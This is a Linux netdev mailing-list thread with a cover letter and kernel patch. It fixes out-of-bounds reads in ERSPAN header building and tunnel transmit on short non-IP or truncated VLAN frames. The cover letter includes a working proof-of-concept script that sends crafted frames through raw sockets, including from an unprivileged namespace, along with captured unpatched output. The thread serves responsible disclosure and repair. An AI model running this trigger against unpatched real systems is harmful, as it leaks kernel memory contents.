* [PATCH net 0/1] net: erspan: avoid out-of-bounds reads on short non-IP frames
@ 2026-11-30 5:22 Ren Wei
2026-11-30 5:22 ` [PATCH net 1/1] " Ren Wei
0 siblings, 1 reply; 2+ messages in thread
From: Ren Wei @ 2026-11-30 5:22 UTC (permalink / raw)
To: netdev
Cc: davem, edumazet, kuba, pabeni, willemb, horms, dsahern, idosch,
u9012063, mvohra, matthias.may, vega, sashiko-bot, rakukuip, weir
From: Luxiao Xu <rakukuip@gmail.com>
Hi Linux kernel maintainers,
We found and validated an out-of-bounds read bug in include/net/erspan.h
affecting ERSPAN header construction in net/ipv6/ip6_gre.c and
net/ipv4/ip_gre.c, together with a downstream VLAN protocol
reclassification mismatch in ip6_tnl_xmit() and ip_tunnel_xmit(). The
buggy transmit path is reachable by an unprivileged user inside a user
and network namespace (unshare -Urn).
This bug is tracked at: https://bugtracker.nebusec.ai/f/11933
Related mailing-list context:
Anton Danilov's earlier ip6_gre patchset (v4 message-id
20261004145205.226974-1-littlesmilingcloud@gmail.com, v6 message-id
20261008012554.202925-1-littlesmilingcloud@gmail.com) targeted
ip6gre_tunnel_xmit() VLAN length checks for syzkaller bug
6023ea32e206eef7920a and explicitly deferred the pre-existing
erspan_build_header() / erspan_build_header_v2() and downstream tunnel
issues to follow-up patches. Neither v6 nor a follow-up has been merged
into net.git. This patch addresses that independent follow-up without
superseding the ip6gre_tunnel_xmit() changes.
---- details below ----
Bug details:
1. ip6erspan_tunnel_xmit() and erspan_xmit() rely on
pskb_inet_may_pull(), which requests zero network-layer bytes for
non-IP and ETH_P_8021Q/ETH_P_8021AD protocols. Short non-IP or
truncated VLAN frames therefore pass entry validation and enter
erspan_build_header() or erspan_build_header_v2().
2. Both ERSPAN header helpers unconditionally read IPv4 tos or IPv6
traffic-class bytes using the outer tunnel address family flag
(is_ipv4), and dereference eth->h_proto and (skb->data + 2 * ETH_ALEN)
without checking frame length or linear headlen. On a 14-byte non-IP
or 802.1Q frame, those reads access missing bytes past skb->len in
skb tailroom and encode them into the ERSPAN COS and VLAN fields.
3. Downstream ip6_tnl_xmit(), ip_tunnel_xmit(), and
ip_tunnel_get_dsfield() call skb_protocol(skb, true) after GRE and
ERSPAN headers have been pushed. Because skb_protocol(skb, true)
walks VLAN tags from skb->data rather than skb_mac_header(skb), it
reads pushed GRE/ERSPAN and inner MAC bytes and can reclassify a
short non-IP VLAN frame as ETH_P_IP or ETH_P_IPV6, reading unpulled
bytes past skb->len.
Fix summary:
- Add erspan_xmit_prepare() in include/net/erspan.h and use it at entry
of ip6erspan_tunnel_xmit() and erspan_xmit() to ensure ETH_HLEN bytes
are linear, walk VLAN tags from ETH_HLEN with skb->mac_len cleared,
reject truncated VLAN tags, and pull any inner IPv4/IPv6 base header.
- Add erspan_get_tos() and erspan_get_vlan_tci() using
skb_header_pointer() so ERSPAN header construction safely handles
non-IP, VLAN-tagged, and non-linear skbs, and drop the obsolete
is_ipv4 parameter from both helpers and their callers.
- Add ip_tunnel_payload_protocol() in include/net/ip_tunnels.h using
skb_mac_offset(skb) for ARPHRD_ETHER devices and use it in
ip6_tnl_xmit(), ip_tunnel_xmit(), and ip_tunnel_get_dsfield(), while
guarding ip6_tnl_xmit() hop-limit inheritance with
skb_header_pointer().
Testing & Validation:
Validated on an x86_64 QEMU guest (2 vCPUs, 2 GB RAM, KASAN=y,
slub_debug=P) with CONFIG_IPV6_GRE=y, CONFIG_NET_IPGRE=y, and
CONFIG_VLAN_8021Q=y:
1. Pre-fix reproduction (./poc.sh root):
- 16-byte control frame (0x8100 + abcd):
erspan_hdr=1bcdb87b00000007 vlan=0xbcd cos=5 encap=3
(the 0xab byte of the VLAN TCI was wrongly read as IPv6 tclass)
- 14-byte trigger frame (0x8100, missing TCI):
erspan_hdr=1000187b00000007 vlan=0x000 cos=0 encap=3
(encap=3 set and bytes 14-15 sampled past skb->len)
2. Post-fix verification (./poc.sh userns + 27-case suite + ping):
- All 10 truncated VLAN / truncated VLAN-IP cases (14/16-byte
0x8100, 18/24-byte 0x8100+IPv4/IPv6 across ip6erspan v1/v2/
collect_md and IPv4 erspan v1/v2) are dropped cleanly.
- Valid 14-byte untagged ARP frames and 18-byte VLAN non-IP frames
with 08:00/86:dd destination MACs are NOT misclassified as IP under
hoplimit 0 / ttl inherit / tos inherit (outer TTL stays 64, cos=0).
- Valid untagged and VLAN-tagged IPv4/IPv6 frames preserve VLAN TCI,
inner DSCP->COS, and TTL/hop-limit across both ip6erspan and
erspan.
- End-to-end ping over ip6erspan and erspan passed, with zero
KASAN/UBSAN/BUG/WARNING messages in dmesg.
Reproducer:
bash ./poc.sh root
bash ./poc.sh userns
=== BEGIN poc.sh ===
#!/bin/bash
set -euo pipefail
mode="${1:-root}"
cleanup_root() {
ip netns del ns1 2>/dev/null || true
ip netns del ns2 2>/dev/null || true
}
run_root() {
trap cleanup_root EXIT
cleanup_root
ip netns add ns1
ip netns add ns2
ip link add v0 type veth peer name v1
ip link set v0 netns ns1
ip link set v1 netns ns2
ip -n ns1 link set lo up
ip -n ns2 link set lo up
ip -n ns1 addr add fc00::1/64 dev v0 nodad
ip -n ns2 addr add fc00::2/64 dev v1 nodad
ip -n ns1 link set v0 up
ip -n ns2 link set v1 up
ip netns exec ns1 ping -6 -c 1 -w 1 fc00::2 >/dev/null
ip -n ns1 link add ers0 type ip6erspan \
local fc00::1 remote fc00::2 dev v0 \
key 123 seq erspan_ver 1 erspan 7
ip -n ns1 link set ers0 up
ip netns exec ns2 python3 - <<'PY' >/tmp/ip6erspan_capture.txt &
import binascii
import ipaddress
import socket
ETH_LEN = 14
IP6_LEN = 40
GRE_LEN = 8
ERSPAN_OFF = ETH_LEN + IP6_LEN + GRE_LEN
TARGET_DST = ipaddress.IPv6Address("fc00::2").packed
def parse(frame):
b0, b1, b2, b3 = frame[ERSPAN_OFF:ERSPAN_OFF + 4]
vlan = ((b0 & 0x0F) << 8) | b1
cos = b2 >> 5
en = (b2 >> 3) & 0x3
session = ((b2 & 0x3) << 8) | b3
inner = frame[ERSPAN_OFF + 8:]
return {
"erspan_hdr": frame[ERSPAN_OFF:ERSPAN_OFF + 8].hex(),
"vlan": vlan,
"cos": cos,
"encap": en,
"session": session,
"inner_len": len(inner),
"inner_hex": inner.hex(),
}
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x86DD))
s.bind(("v1", 0x86DD))
for label in ("control", "trigger"):
while True:
frame = s.recv(2048)
if len(frame) < ETH_LEN + IP6_LEN:
continue
if frame[ETH_LEN + 6] != 47:
continue
if frame[ETH_LEN + 24:ETH_LEN + 40] != TARGET_DST:
continue
break
parsed = parse(frame)
print(f"{label}: outer_len={len(frame)} inner_len={parsed['inner_len']}")
print(
f"{label}: erspan_hdr={parsed['erspan_hdr']} "
f"vlan=0x{parsed['vlan']:03x} cos={parsed['cos']} "
f"encap={parsed['encap']} session={parsed['session']}"
)
print(f"{label}: inner_hex={parsed['inner_hex']}")
print(f"{label}: outer_hex={binascii.hexlify(frame).decode()}")
PY
cap_pid=$!
sleep 1
ip netns exec ns1 python3 - <<'PY'
import socket
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
s.bind(("ers0", 0))
s.send(bytes.fromhex("aabbccddeeff0011223344558100abcd"))
s.send(bytes.fromhex("aabbccddeeff0011223344558100"))
PY
wait "$cap_pid"
echo "[root] captured packets"
cat /tmp/ip6erspan_capture.txt
}
run_userns_inner() {
ip link add v0 type veth peer name v1
ip addr add fc00::1/64 dev v0 nodad
ip addr add fc00::2/64 dev v1 nodad
ip link set lo up
ip link set v0 up
ip link set v1 up
ip link add ers0 type ip6erspan \
local fc00::1 remote fc00::2 dev v0 \
key 123 seq erspan_ver 1 erspan 7
ip link set ers0 up
python3 - <<'PY'
import errno
import socket
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
s.bind(("ers0", 0))
frame = bytes.fromhex("aabbccddeeff0011223344558100")
try:
sent = s.send(frame)
print(f"[userns] send() returned {sent}")
except OSError as exc:
print(f"[userns] send() failed errno={exc.errno} ({exc.strerror})")
PY
echo "[userns] ers0 stats after send"
ip -s link show ers0
}
run_userns() {
if [ "$(id -u)" -eq 0 ] && [ -z "${POC_UNSHARED:-}" ]; then
POC_UNSHARED=1 unshare -Urn -- "$0" __userns_inner
else
POC_UNSHARED=1 unshare -Urn -- "$0" __userns_inner
fi
}
case "$mode" in
root)
run_root
;;
userns)
run_userns
;;
__userns_inner)
run_userns_inner
;;
*)
echo "usage: $0 [root|userns]" >&2
exit 1
;;
esac
=== END poc.sh ===
=== BEGIN observed unpatched log ===
[root] captured packets
control: outer_len=86 inner_len=16
control: erspan_hdr=1bcdb87b00000007 vlan=0xbcd cos=5 encap=3 session=123
control: inner_hex=aabbccddeeff0011223344558100abcd
control: outer_hex=0686080116b896c7774b157886dd6002902c00202f40fc000000000000000000000000000001fc000000000000000000000000000002100088be000000031bcdb87b00000007aabbccddeeff0011223344558100abcd
trigger: outer_len=84 inner_len=14
trigger: erspan_hdr=1000187b00000007 vlan=0x000 cos=0 encap=3 session=123
trigger: inner_hex=aabbccddeeff0011223344558100
trigger: outer_hex=0686080116b896c7774b157886dd6002902c001e2f40fc000000000000000000000000000001fc000000000000000000000000000002100088be000000041000187b00000007aabbccddeeff0011223344558100
Note: The out-of-bounds read stays inside the allocated skb head /
skb_shared_info area, so KASAN does not report a slab-out-of-bounds
panic.
=== END observed unpatched log ===
Best regards,
Luxiao Xu
Luxiao Xu (1):
net: erspan: avoid out-of-bounds reads on short non-IP frames
include/net/erspan.h | 119 +++++++++++++++++++++++++++++----------
include/net/ip_tunnels.h | 13 ++++-
net/ipv4/ip_gre.c | 15 ++---
net/ipv4/ip_tunnel.c | 2 +-
net/ipv6/ip6_gre.c | 13 ++---
net/ipv6/ip6_tunnel.c | 24 +++++---
6 files changed, 130 insertions(+), 56 deletions(-)
--
2.43.0
^ permalink raw reply [flat|nested] 2+ messages in thread
* [PATCH net 1/1] net: erspan: avoid out-of-bounds reads on short non-IP frames
2026-11-30 5:22 [PATCH net 0/1] net: erspan: avoid out-of-bounds reads on short non-IP frames Ren Wei
@ 2026-11-30 5:22 ` Ren Wei
0 siblings, 0 replies; 2+ messages in thread
From: Ren Wei @ 2026-11-30 5:22 UTC (permalink / raw)
To: netdev
Cc: davem, edumazet, kuba, pabeni, willemb, horms, dsahern, idosch,
u9012063, mvohra, matthias.may, vega, sashiko-bot, rakukuip, weir
From: Luxiao Xu <rakukuip@gmail.com>
erspan_build_header() and erspan_build_header_v2() unconditionally read
the inner IPv4 tos or IPv6 traffic-class field based on the outer tunnel
address family flag (is_ipv4), and dereference eth->h_proto and the
following 802.1Q TCI without verifying frame length or linear data.
In addition, ip6erspan_tunnel_xmit() and erspan_xmit() rely on
pskb_inet_may_pull(), which requests zero network-layer bytes for
ETH_P_8021Q/ETH_P_8021AD frames. Short or truncated VLAN frames can
therefore enter ERSPAN transmit and reach downstream ip6_tnl_xmit(),
ip_tunnel_xmit(), and ip_tunnel_get_dsfield(), which call
skb_protocol(skb, true) after GRE and ERSPAN headers have been pushed.
Because skb_protocol(skb, true) walks VLAN tags from skb->data instead of
skb_mac_header(skb), those helpers read into the pushed GRE/ERSPAN
headers and inner MAC bytes and can reclassify a short non-IP VLAN frame
as ETH_P_IP or ETH_P_IPV6, reading unpulled bytes past skb->len.
Fix the full transmit chain:
- Add erspan_xmit_prepare() in include/net/erspan.h and use it in
ip6erspan_tunnel_xmit() and erspan_xmit() to ensure ETH_HLEN bytes are
linear, walk VLAN tags from ETH_HLEN with skb->mac_len cleared, reject
truncated VLAN tags, and pull any inner IPv4/IPv6 base header before
updating the network header.
- Add erspan_get_tos() and erspan_get_vlan_tci() using
skb_header_pointer() so ERSPAN header construction safely handles
non-IP, VLAN-tagged, and non-linear skbs, and drop the obsolete
is_ipv4 parameter from both helpers and their callers.
- Add ip_tunnel_payload_protocol() in include/net/ip_tunnels.h using
skb_mac_offset(skb) for ARPHRD_ETHER devices and use it in
ip6_tnl_xmit(), ip_tunnel_xmit(), and ip_tunnel_get_dsfield(), while
guarding ip6_tnl_xmit() hop-limit inheritance with
skb_header_pointer().
Note: Anton Danilov's earlier ip6_gre patchset (v6 message-id
20261008012554.202925-1-littlesmilingcloud@gmail.com) targeted
ip6gre_tunnel_xmit() VLAN length checks and explicitly left the
pre-existing ERSPAN header builder and downstream tunnel handling for
follow-up work; this patch addresses that follow-up independently.
Fixes: 84e54fe0a5ea ("gre: introduce native tunnel support for ERSPAN")
Fixes: f551c91de262 ("net: erspan: introduce erspan v2 for ip_gre")
Fixes: 7ae29fd1be43 ("ip_tunnel: allow to inherit from VLAN encapsulated IP")
Fixes: b09ab9c92e50 ("ip6_tunnel: allow to inherit from VLAN encapsulated IP")
Cc: stable@vger.kernel.org
Reported-by: VEGA <vega@nebusec.ai>
Reported-by: Sashiko <sashiko-bot@kernel.org>
Closes: https://netdev-ai.bots.linux.dev/sashiko/#/patchset/20261004145205.226974-1-littlesmilingcloud@gmail.com
Signed-off-by: Luxiao Xu <rakukuip@gmail.com>
Signed-off-by: Ren Wei <weir@nebusec.ai>
---
include/net/erspan.h | 119 +++++++++++++++++++++++++++++----------
include/net/ip_tunnels.h | 13 ++++-
net/ipv4/ip_gre.c | 15 ++---
net/ipv4/ip_tunnel.c | 2 +-
net/ipv6/ip6_gre.c | 13 ++---
net/ipv6/ip6_tunnel.c | 24 +++++---
6 files changed, 130 insertions(+), 56 deletions(-)
diff --git a/include/net/erspan.h b/include/net/erspan.h
index c6209e7b6c96..04764437ea7b 100644
--- a/include/net/erspan.h
+++ b/include/net/erspan.h
@@ -60,7 +60,10 @@
#include <linux/ip.h>
#include <linux/ipv6.h>
+#include <linux/if_vlan.h>
#include <linux/skbuff.h>
+#include <net/dsfield.h>
+#include <net/ip_tunnels.h>
#include <uapi/linux/erspan.h>
#define ERSPAN_VERSION 0x1 /* ERSPAN type II */
@@ -170,35 +173,103 @@ static inline u8 tos_to_cos(u8 tos)
return cos;
}
-static inline void erspan_build_header(struct sk_buff *skb,
- u32 id, u32 index,
- bool truncate, bool is_ipv4)
+static inline bool erspan_xmit_prepare(struct sk_buff *skb)
+{
+ __be16 type = skb->protocol;
+ int maclen = ETH_HLEN;
+ int nhlen = 0;
+
+ if (!pskb_may_pull(skb, ETH_HLEN))
+ return false;
+
+ skb_reset_mac_header(skb);
+
+ if (eth_type_vlan(type)) {
+ skb->mac_len = 0;
+ type = __vlan_get_protocol(skb, type, &maclen);
+ if (!type)
+ return false;
+
+ switch (type) {
+#if IS_ENABLED(CONFIG_IPV6)
+ case htons(ETH_P_IPV6):
+ nhlen = sizeof(struct ipv6hdr);
+ break;
+#endif
+ case htons(ETH_P_IP):
+ nhlen = sizeof(struct iphdr);
+ break;
+ }
+
+ if (!pskb_may_pull(skb, maclen + nhlen))
+ return false;
+
+ skb_set_network_header(skb, maclen);
+ return true;
+ }
+
+ return pskb_inet_may_pull(skb);
+}
+
+static inline u8 erspan_get_tos(const struct sk_buff *skb)
+{
+ struct ipv6hdr _ip6h, *ip6h;
+ struct iphdr _iph, *iph;
+ __be16 proto;
+ int nhoff;
+
+ nhoff = skb_network_offset(skb);
+ if (nhoff < 0)
+ return 0;
+
+ proto = eth_type_vlan(skb->protocol) ?
+ __vlan_get_protocol(skb, skb->protocol, NULL) : skb->protocol;
+
+ switch (proto) {
+ case htons(ETH_P_IP):
+ iph = skb_header_pointer(skb, nhoff, sizeof(_iph), &_iph);
+ return iph ? iph->tos : 0;
+ case htons(ETH_P_IPV6):
+ ip6h = skb_header_pointer(skb, nhoff, sizeof(_ip6h), &_ip6h);
+ return ip6h ? ipv6_get_dsfield(ip6h) : 0;
+ default:
+ return 0;
+ }
+}
+
+static inline bool erspan_get_vlan_tci(const struct sk_buff *skb,
+ u16 *vlan_tci)
{
- struct ethhdr *eth = (struct ethhdr *)skb->data;
- enum erspan_encap_type enc_type;
- struct erspan_base_hdr *ershdr;
struct qtag_prefix {
__be16 eth_type;
__be16 tci;
- } *qp;
+ } *qp, _qp;
+
+ qp = skb_header_pointer(skb, 2 * ETH_ALEN, sizeof(_qp), &_qp);
+ if (qp && qp->eth_type == htons(ETH_P_8021Q)) {
+ *vlan_tci = ntohs(qp->tci);
+ return true;
+ }
+
+ return false;
+}
+
+static inline void erspan_build_header(struct sk_buff *skb,
+ u32 id, u32 index, bool truncate)
+{
+ enum erspan_encap_type enc_type = ERSPAN_ENCAP_NOVLAN;
+ struct erspan_base_hdr *ershdr;
u16 vlan_tci = 0;
u8 tos;
__be32 *idx;
- tos = is_ipv4 ? ip_hdr(skb)->tos :
- (ipv6_hdr(skb)->priority << 4) +
- (ipv6_hdr(skb)->flow_lbl[0] >> 4);
-
- enc_type = ERSPAN_ENCAP_NOVLAN;
+ tos = erspan_get_tos(skb);
/* If mirrored packet has vlan tag, extract tci and
* preserve vlan header in the mirrored frame.
*/
- if (eth->h_proto == htons(ETH_P_8021Q)) {
- qp = (struct qtag_prefix *)(skb->data + 2 * ETH_ALEN);
- vlan_tci = ntohs(qp->tci);
+ if (erspan_get_vlan_tci(skb, &vlan_tci))
enc_type = ERSPAN_ENCAP_INFRAME;
- }
skb_push(skb, sizeof(*ershdr) + ERSPAN_V1_MDSIZE);
ershdr = (struct erspan_base_hdr *)skb->data;
@@ -266,32 +337,22 @@ static inline u8 erspan_detect_bso(struct sk_buff *skb)
static inline void erspan_build_header_v2(struct sk_buff *skb,
u32 id, u8 direction, u16 hwid,
- bool truncate, bool is_ipv4)
+ bool truncate)
{
- struct ethhdr *eth = (struct ethhdr *)skb->data;
struct erspan_base_hdr *ershdr;
struct erspan_md2 *md2;
- struct qtag_prefix {
- __be16 eth_type;
- __be16 tci;
- } *qp;
u16 vlan_tci = 0;
u8 gra = 0; /* 100 usec */
u8 bso = 0; /* Bad/Short/Oversized */
u8 sgt = 0;
u8 tos;
- tos = is_ipv4 ? ip_hdr(skb)->tos :
- (ipv6_hdr(skb)->priority << 4) +
- (ipv6_hdr(skb)->flow_lbl[0] >> 4);
+ tos = erspan_get_tos(skb);
/* Unlike v1, v2 does not have En field,
* so only extract vlan tci field.
*/
- if (eth->h_proto == htons(ETH_P_8021Q)) {
- qp = (struct qtag_prefix *)(skb->data + 2 * ETH_ALEN);
- vlan_tci = ntohs(qp->tci);
- }
+ erspan_get_vlan_tci(skb, &vlan_tci);
bso = erspan_detect_bso(skb);
skb_push(skb, sizeof(*ershdr) + ERSPAN_V2_MDSIZE);
diff --git a/include/net/ip_tunnels.h b/include/net/ip_tunnels.h
index 5cccf4c0e691..fc141cc7b253 100644
--- a/include/net/ip_tunnels.h
+++ b/include/net/ip_tunnels.h
@@ -567,11 +567,22 @@ static inline int ip_tunnel_encap(struct sk_buff *skb,
return ret;
}
+static inline __be16 ip_tunnel_payload_protocol(const struct sk_buff *skb,
+ const struct net_device *dev)
+{
+ int mac_off = (dev && dev->type == ARPHRD_ETHER &&
+ skb_mac_header_was_set(skb)) ?
+ max(skb_mac_offset(skb), 0) : 0;
+
+ return vlan_get_protocol_offset_inline(skb, skb->protocol,
+ mac_off, NULL);
+}
+
/* Extract dsfield from inner protocol */
static inline u8 ip_tunnel_get_dsfield(const struct iphdr *iph,
const struct sk_buff *skb)
{
- __be16 payload_protocol = skb_protocol(skb, true);
+ __be16 payload_protocol = ip_tunnel_payload_protocol(skb, skb->dev);
if (payload_protocol == htons(ETH_P_IP))
return iph->tos;
diff --git a/net/ipv4/ip_gre.c b/net/ipv4/ip_gre.c
index 5485586fa0e6..e26e484ca6c4 100644
--- a/net/ipv4/ip_gre.c
+++ b/net/ipv4/ip_gre.c
@@ -111,9 +111,6 @@ static struct rtnl_link_ops ipgre_link_ops __read_mostly;
static const struct header_ops ipgre_header_ops;
static int ipgre_tunnel_init(struct net_device *dev);
-static void erspan_build_header(struct sk_buff *skb,
- u32 id, u32 index,
- bool truncate, bool is_ipv4);
static unsigned int ipgre_net_id __read_mostly;
static unsigned int gre_tap_net_id __read_mostly;
@@ -596,14 +593,14 @@ static void erspan_fb_xmit(struct sk_buff *skb, struct net_device *dev)
if (version == 1) {
erspan_build_header(skb, ntohl(tunnel_id_to_key32(key->tun_id)),
- ntohl(md->u.index), truncate, true);
+ ntohl(md->u.index), truncate);
proto = htons(ETH_P_ERSPAN);
} else if (version == 2) {
erspan_build_header_v2(skb,
ntohl(tunnel_id_to_key32(key->tun_id)),
md->u.md2.dir,
get_hwid(&md->u.md2),
- truncate, true);
+ truncate);
proto = htons(ETH_P_ERSPAN2);
} else {
goto err_free_skb;
@@ -708,7 +705,7 @@ static netdev_tx_t erspan_xmit(struct sk_buff *skb,
bool truncate = false;
__be16 proto;
- if (!pskb_inet_may_pull(skb))
+ if (!erspan_xmit_prepare(skb))
goto free_skb;
if (tunnel->collect_md) {
@@ -736,13 +733,11 @@ static netdev_tx_t erspan_xmit(struct sk_buff *skb,
__clear_bit(IP_TUNNEL_SEQ_BIT, flags);
} else if (tunnel->erspan_ver == 1) {
erspan_build_header(skb, ntohl(tunnel->parms.o_key),
- tunnel->index,
- truncate, true);
+ tunnel->index, truncate);
proto = htons(ETH_P_ERSPAN);
} else if (tunnel->erspan_ver == 2) {
erspan_build_header_v2(skb, ntohl(tunnel->parms.o_key),
- tunnel->dir, tunnel->hwid,
- truncate, true);
+ tunnel->dir, tunnel->hwid, truncate);
proto = htons(ETH_P_ERSPAN2);
} else {
goto free_skb;
diff --git a/net/ipv4/ip_tunnel.c b/net/ipv4/ip_tunnel.c
index 0875474a578a..a2c8790c4363 100644
--- a/net/ipv4/ip_tunnel.c
+++ b/net/ipv4/ip_tunnel.c
@@ -690,7 +690,7 @@ void ip_tunnel_xmit(struct sk_buff *skb, struct net_device *dev,
inner_iph = (const struct iphdr *)skb_inner_network_header(skb);
connected = (tunnel->parms.iph.daddr != 0);
- payload_protocol = skb_protocol(skb, true);
+ payload_protocol = ip_tunnel_payload_protocol(skb, dev);
memset(&(IPCB(skb)->opt), 0, sizeof(IPCB(skb)->opt));
diff --git a/net/ipv6/ip6_gre.c b/net/ipv6/ip6_gre.c
index b5d6ed8f0c36..c8b2c9a0d191 100644
--- a/net/ipv6/ip6_gre.c
+++ b/net/ipv6/ip6_gre.c
@@ -935,7 +935,7 @@ static netdev_tx_t ip6erspan_tunnel_xmit(struct sk_buff *skb,
__u32 mtu;
int nhoff;
- if (!pskb_inet_may_pull(skb))
+ if (!erspan_xmit_prepare(skb))
goto tx_err;
if (!ip6_tnl_xmit_ctl(t, &t->parms.laddr, &t->parms.raddr))
@@ -1004,15 +1004,14 @@ static netdev_tx_t ip6erspan_tunnel_xmit(struct sk_buff *skb,
if (md->version == 1) {
erspan_build_header(skb,
ntohl(tun_id),
- ntohl(md->u.index), truncate,
- false);
+ ntohl(md->u.index), truncate);
proto = htons(ETH_P_ERSPAN);
} else if (md->version == 2) {
erspan_build_header_v2(skb,
ntohl(tun_id),
md->u.md2.dir,
get_hwid(&md->u.md2),
- truncate, false);
+ truncate);
proto = htons(ETH_P_ERSPAN2);
} else {
goto tx_err;
@@ -1038,14 +1037,12 @@ static netdev_tx_t ip6erspan_tunnel_xmit(struct sk_buff *skb,
if (t->parms.erspan_ver == 1) {
erspan_build_header(skb, ntohl(t->parms.o_key),
- t->parms.index,
- truncate, false);
+ t->parms.index, truncate);
proto = htons(ETH_P_ERSPAN);
} else if (t->parms.erspan_ver == 2) {
erspan_build_header_v2(skb, ntohl(t->parms.o_key),
t->parms.dir,
- t->parms.hwid,
- truncate, false);
+ t->parms.hwid, truncate);
proto = htons(ETH_P_ERSPAN2);
} else {
goto tx_err;
diff --git a/net/ipv6/ip6_tunnel.c b/net/ipv6/ip6_tunnel.c
index 64a184bca467..bda63dd945aa 100644
--- a/net/ipv6/ip6_tunnel.c
+++ b/net/ipv6/ip6_tunnel.c
@@ -1116,7 +1116,7 @@ int ip6_tnl_xmit(struct sk_buff *skb, struct net_device *dev, __u8 dsfield,
u8 hop_limit;
int err = -1;
- payload_protocol = skb_protocol(skb, true);
+ payload_protocol = ip_tunnel_payload_protocol(skb, dev);
if (t->parms.collect_md) {
hop_limit = skb_tunnel_info(skb)->key.ttl;
@@ -1249,12 +1249,22 @@ int ip6_tnl_xmit(struct sk_buff *skb, struct net_device *dev, __u8 dsfield,
skb_dst_set(skb, dst);
if (hop_limit == 0) {
- if (payload_protocol == htons(ETH_P_IP))
- hop_limit = ip_hdr(skb)->ttl;
- else if (payload_protocol == htons(ETH_P_IPV6))
- hop_limit = ipv6_hdr(skb)->hop_limit;
- else
- hop_limit = ip6_dst_hoplimit(dst);
+ int nhoff = skb_network_offset(skb);
+
+ hop_limit = ip6_dst_hoplimit(dst);
+ if (nhoff >= 0 && payload_protocol == htons(ETH_P_IP)) {
+ struct iphdr _iph, *iph;
+
+ iph = skb_header_pointer(skb, nhoff, sizeof(_iph), &_iph);
+ if (iph)
+ hop_limit = iph->ttl;
+ } else if (nhoff >= 0 && payload_protocol == htons(ETH_P_IPV6)) {
+ struct ipv6hdr _ip6h, *ip6h;
+
+ ip6h = skb_header_pointer(skb, nhoff, sizeof(_ip6h), &_ip6h);
+ if (ip6h)
+ hop_limit = ip6h->hop_limit;
+ }
}
/* Calculate max headroom for all the headers and adjust
--
2.43.0
^ permalink raw reply related [flat|nested] 2+ messages in thread
end of thread, other threads:[~2026-11-30 5:22 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-11-30 5:22 [PATCH net 0/1] net: erspan: avoid out-of-bounds reads on short non-IP frames Ren Wei
2026-11-30 5:22 ` [PATCH net 1/1] " Ren Wei
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox